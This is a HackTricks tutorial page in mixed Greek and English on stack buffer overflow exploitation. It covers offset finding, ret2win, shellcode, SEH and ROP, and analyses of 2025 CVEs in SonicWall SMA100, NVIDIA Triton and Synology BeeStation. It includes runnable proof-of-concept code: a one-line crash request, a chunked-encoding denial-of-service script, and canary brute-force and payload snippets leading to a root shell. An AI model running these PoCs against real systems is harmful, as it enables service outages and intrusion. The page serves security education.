Stack Overflow

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι ένα Stack Overflow

A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.

Το κύριο πρόβλημα αυτής της επαναγραφής είναι ότι ο saved instruction pointer (EIP/RIP) και ο saved base pointer (EBP/RBP), που χρησιμοποιούνται για την επιστροφή στην προηγούμενη συνάρτηση, αποθηκεύονται στο stack. Επομένως, ένας attacker θα μπορέσει να τις επαναγράψει και να ελέγξει τη ροή εκτέλεσης του προγράμματος.

Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση αντιγράφει στο stack περισσότερα bytes από όσα έχουν εκχωρηθεί για αυτή, και ως εκ τούτου μπορεί να επαναγράψει άλλα μέρη του stack.

Μερικές κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: strcpy, strcat, sprintf, gets… Επίσης, συναρτήσεις όπως fgets, read & memcpy που παίρνουν ένα length argument, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.

Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Εύρεση offsets για Stack Overflows

Ο πιο κοινός τρόπος για να βρεις stack overflows είναι να δώσεις πολύ μεγάλο input από As (π.χ. python3 -c 'print("A"*1000)') και να περιμένεις ένα Segmentation Fault που δείχνει ότι η διεύθυνση 0x41414141 προσπαθήθηκε να προσπελαστεί.

Επιπλέον, μόλις διαπιστώσεις ότι υπάρχει Stack Overflow vulnerability, θα πρέπει να βρεις το offset μέχρι να είναι δυνατό να υπεργράψεις τη διεύθυνση επιστροφής, για αυτό συνήθως χρησιμοποιείται μια De Bruijn sequence. Η οποία, για ένα δεδομένο αλφάβητο μεγέθους k και υποακολουθίες μήκους n, είναι μια κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους n εμφανίζεται ακριβώς μία φορά ως συνεχόμενη υποακολουθία.

Με αυτόν τον τρόπο, αντί να χρειάζεται να βρεις με το χέρι ποιο offset απαιτείται για να ελέγξεις το EIP, μπορείς να χρησιμοποιήσεις ως padding μία από αυτές τις ακολουθίες και μετά να βρεις το offset των bytes που κατέληξαν να την υπεργράψουν.

Μπορείς να χρησιμοποιήσεις pwntools για αυτό:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ή GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να επαναγράψετε τις τιμές των τοπικών μεταβλητών μέσα στην stack έως ότου φτάσετε το αποθηκευμένο EBP/RBP and EIP/RIP (or even more).
Ο πιο κοινός τρόπος εκμετάλλευσης αυτού του τύπου ευπάθειας είναι με τροποποίηση της return address έτσι ώστε όταν η function τελειώσει η control flow να ανακατευθυνθεί όπου ο χρήστης όρισε σε αυτόν τον pointer.

Ωστόσο, σε άλλα σενάρια ίσως απλά το overwriting some variables values in the stack να είναι αρκετό για την εκμετάλλευση (όπως σε easy CTF challenges).

Ret2win

Σε αυτόν τον τύπο CTF challenges, υπάρχει μια function inside το binary που never called και που you need to call in order to win. Για αυτές τις προκλήσεις αρκεί να βρείτε το offset to overwrite the return address και να find the address of the function που θα καλέσετε (συνήθως ASLR θα είναι απενεργοποιημένο) ώστε όταν η vulnerable function επιστρέψει, η hidden function να κληθεί:

Ret2win

Stack Shellcode

Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει ένα shellcode στην stack και να εκμεταλλευτεί τον ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Σε 32-bit Windows, ένα overflow μπορεί να επαναγράψει την Structured Exception Handler (SEH) chain αντί της saved return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte nSEH field για ένα short jump που θα pivot πίσω στο μεγάλο buffer όπου βρίσκεται το shellcode. Ένα κοινό pattern είναι ένα short jmp στο nSEH που καταλήγει σε ένα 5-byte near jmp τοποθετημένο ακριβώς πριν το nSEH για να πηδήξει εκατοντάδες bytes πίσω στην αρχή του payload.

Windows Seh Overflow

ROP & Ret2… techniques

Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακαμφθεί η κύρια προστασία της προηγούμενης τεχνικής: No executable stack (NX). Επιπλέον επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall…) που τελικά θα εκτελέσουν arbitrary commands εκμεταλλευόμενες υπάρχουσες εντολές στο binary:

ROP & JOP

Heap Overflows

Ένα overflow δεν θα είναι πάντα στην stack — μπορεί επίσης να βρίσκεται στο heap, για παράδειγμα:

Heap Overflow

Types of protections

Υπάρχουν πολλές protections που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών — δείτε τις στο:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Μια καλή επίδειξη του γιατί sscanf should never be trusted for parsing untrusted input εμφανίστηκε το 2025 στη συσκευή SonicWall SMA100 SSL-VPN. Η vulnerable routine inside /usr/src/EasyAccess/bin/httpd προσπαθεί να εξάγει την version και endpoint από οποιοδήποτε URI που αρχίζει με /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Η πρώτη μετατροπή (%2s) αποθηκεύει με ασφάλεια δύο bytes στο version (π.χ. "v1").
  2. Η δεύτερη μετατροπή (%s) δεν έχει specifier μήκους, επομένως το sscanf θα συνεχίσει να αντιγράφει μέχρι το πρώτο NUL byte.
  3. Επειδή endpoint βρίσκεται στο stack και είναι 0x800 bytes long, η παροχή μονοπατιού μεγαλύτερου από 0x800 bytes καταστρέφει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του stack canary και της saved return address.

Ένα proof-of-concept μίας γραμμής αρκεί για να προκαλέσει το crash πριν την αυθεντικοποίηση:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Παρόλο που οι stack canaries τερματίζουν τη διεργασία, ο επιτιθέμενος αποκτά παρ’ όλα αυτά ένα primitive Denial-of-Service (και, με πρόσθετα information leaks, πιθανώς code-execution).

Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Το NVIDIA’s Triton Inference Server (≤ v25.06) περιείχε πολλαπλά stack-based overflows προσβάσιμα μέσω του HTTP API. Το ευάλωτο μοτίβο εμφανιζόταν επαναλαμβανόμενα στα http_server.cc και sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) επιστρέφει τον number of internal buffer segments που συνθέτουν το τρέχον HTTP request body.
  2. Κάθε segment προκαλεί την κατανομή ενός 16-byte evbuffer_iovec στο stack μέσω alloca()without any upper bound.
  3. Με την κατάχρηση του HTTP chunked transfer-encoding, ένας client μπορεί να αναγκάσει το request να χωριστεί σε hundreds-of-thousands of 6-byte chunks ("1\r\nA\r\n"). Αυτό κάνει το n να αυξάνεται απεριόριστα μέχρι να εξαντληθεί το stack.

Απόδειξη της ιδέας (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Ένα ~3 MB αίτημα αρκεί για να overwrite το saved return address και να **crash** το daemon σε default build.

### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Το chain του Synacktiv στο Pwn2Own 2025 εκμεταλλεύτηκε ένα pre-auth overflow στο `SYNO.BEE.AdminCenter.Auth` στην πόρτα 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes την attacker input σε έναν 4096-byte stack buffer αλλά λάθος θέτει `decoded_len = auth_info->len`. Επειδή ο CGI worker forks per request, κάθε child κληρονομεί το parent’s stack canary, οπότε ένα σταθερό overflow primitive αρκεί για να corrupt-άρει τη στοίβα και να leak όλα τα απαιτούμενα μυστικά.

#### Base64-decoded JSON as a structured overflow
Το decoded blob πρέπει να είναι έγκυρο JSON και να περιέχει τα κλειδιά `"state"` και `"code"`· αλλιώς ο parser πετάει πριν το overflow γίνει χρήσιμο. Η Synacktiv το έλυσε Base64-encoding ενός payload που αποκωδικοποιείται σε JSON, μετά ένα NUL byte, και στη συνέχεια το overflow stream. `strlen(decoded)` σταματά στο NUL οπότε το parsing πετυχαίνει, αλλά `SLIBCBase64Decode` είχε ήδη overwritten τη στοίβα πέρα από το JSON object, καλύπτοντας το canary, saved RBP, και return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi κάνει fork μία φορά ανά HTTP request, οπότε όλα τα child processes μοιράζονται το ίδιο canary, stack layout και PIE slide. Το exploit χειρίζεται τον HTTP status code ως oracle: μια 200 response σημαίνει ότι το υποθετικό byte διατήρησε το stack, ενώ η 502 (ή μια dropped connection) σημαίνει ότι η process crashede. Brute-forcing κάθε byte σειριακά ανακτά το 8-byte canary, έναν saved stack pointer και μια return address μέσα στο libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr απλώς καλεί bf_next_byte οκτώ φορές ενώ προσθέτει το επιβεβαιωμένο prefix. Synacktiv παράλληλοποίησε αυτά τα oracles με ~16 worker threads, μειώνοντας τον συνολικό χρόνο leak (canary + stack ptr + lib base) σε κάτω από τρία λεπτά.

Από τα leaks στο ROP & εκτέλεση

Μόλις γίνει γνωστή η library base, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) χτίζουν ένα arb_write primitive που stages /bin/bash, -c και την attacker command στη leaked stack address. Τέλος, η αλυσίδα ρυθμίζει το calling convention για το SLIBCExecl (ένα BeeStation wrapper γύρω από execl(2)), παράγοντας ένα root shell χωρίς να χρειάζεται ξεχωριστό info-leak bug.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks